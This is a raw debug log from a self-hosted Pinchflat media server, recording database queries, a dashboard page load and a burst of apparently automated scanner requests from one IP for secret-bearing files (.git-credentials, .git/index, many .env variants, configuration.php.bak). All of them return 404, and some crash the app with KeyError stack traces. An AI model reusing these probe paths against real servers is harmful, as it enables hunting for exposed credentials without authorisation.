s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:48.848 [debug] QUERY OK source="settings" db=0.3ms idle=173.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:48.850 [debug] QUERY OK source="settings" db=0.4ms idle=172.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:48.851 [info] GET / 04:52:48.851 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:52:48.852 [debug] QUERY OK source="settings" db=0.4ms idle=125.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:48.853 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:52:48.853 [debug] QUERY OK source="sources" db=0.2ms idle=5.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:52:48.855 [info] Sent 200 in 9ms 04:52:48.856 [debug] QUERY OK source="media_items" db=2.2ms idle=5.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:52:48.857 [debug] QUERY OK source="media_items" db=1.2ms idle=6.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:52:48.858 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:48.859 [debug] QUERY OK source="settings" db=0.3ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:48.860 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:48.863 [debug] QUERY OK source="tasks" db=0.6ms idle=6.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:52:48.865 [debug] QUERY OK source="media_items" db=1.7ms idle=6.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:52:48.867 [debug] QUERY OK source="media_items" db=1.2ms idle=7.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:52:48.868 [debug] QUERY OK source="sources" db=0.4ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 04:52:48.875 [debug] QUERY OK source="media_items" db=2.5ms idle=12.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:52:48.878 [debug] QUERY OK source="media_items" db=2.9ms idle=12.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:52:48.879 [debug] QUERY OK source="sources" db=0.2ms idle=13.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:52:48.881 [info] Sent 200 in 30ms 04:52:49.592 [info] GET /configuration.php.bak 04:52:49.594 [debug] QUERY OK source="settings" db=0.4ms idle=726.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.594 [debug] QUERY OK source="settings" db=0.3ms idle=725.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.595 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.595 [error] #PID<0.138974.0> running PinchflatWeb.Endpoint (connection #PID<0.138956.0>, stream id 9) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /configuration.php.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /configuration.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/configuration.php.bak", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138974.0>, params: %{}, path_info: ["configuration.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/configuration.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxNe4h_SQDlAAAHmj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/configuration.php.bak", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /configuration.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/configuration.php.bak", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138974.0>, params: %{}, path_info: ["configuration.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https: (truncated) 04:52:49.694 [info] GET /.git/logs/HEAD 04:52:49.694 [info] GET /.git/packed-refs 04:52:49.695 [info] GET /.git-credentials 04:52:49.695 [info] GET /.env.backup 04:52:49.695 [info] GET /.git/index 04:52:49.695 [info] GET /.env.dev 04:52:49.695 [debug] QUERY OK source="settings" db=0.6ms idle=816.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.695 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=819.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.695 [info] GET /.env.old 04:52:49.695 [info] GET /.env.staging 04:52:49.696 [debug] QUERY OK source="settings" db=0.3ms idle=101.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.696 [info] GET /.env.example 04:52:49.696 [info] GET /.env.prod 04:52:49.696 [debug] QUERY OK source="settings" db=0.4ms idle=101.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.696 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=816.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.696 [debug] QUERY OK source="settings" db=0.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.696 [debug] QUERY OK source="settings" db=0.6ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.696 [info] GET /server/.env 04:52:49.696 [debug] QUERY OK source="settings" db=0.9ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.696 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.697 [info] GET /web/.env 04:52:49.697 [debug] QUERY OK source="settings" db=0.5ms queue=0.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.697 [info] GET /public/.env 04:52:49.697 [debug] QUERY OK source="settings" db=1.2ms queue=0.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.697 [info] GET /config/.env 04:52:49.697 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.697 [debug] QUERY OK source="settings" db=0.4ms queue=0.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.697 [debug] QUERY OK source="settings" db=1.2ms queue=0.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.697 [debug] QUERY OK source="settings" db=1.4ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.698 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.698 [info] GET /src/.env 04:52:49.698 [debug] QUERY OK source="settings" db=1.3ms queue=0.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.698 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.698 [debug] QUERY OK source="settings" db=0.8ms queue=1.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.698 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.699 [info] GET /services/.env 04:52:49.698 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.699 [info] GET /deploy/.env 04:52:49.699 [debug] QUERY OK source="settings" db=1.1ms queue=1.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.699 [debug] QUERY OK source="settings" db=0.9ms queue=1.0ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.701 [info] GET /build/.env 04:52:49.699 [debug] QUERY OK source="settings" db=1.6ms queue=1.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.699 [debug] QUERY OK source="settings" db=1.2ms queue=1.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.700 [debug] QUERY OK source="settings" db=0.6ms queue=2.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.701 [debug] QUERY OK source="settings" db=2.0ms queue=1.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.701 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.701 [debug] QUERY OK source="settings" db=0.6ms queue=2.8ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:49.701 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:49.698 [error] #PID<0.138975.0> running PinchflatWeb.Endpoint (connection #PID<0.138956.0>, stream id 10) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.git/logs/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/logs/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/logs/HEAD", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138975.0>, params: %{}, path_info: [".git", "logs", "HEAD"], path_params: %{}, port: 80, private: %{ 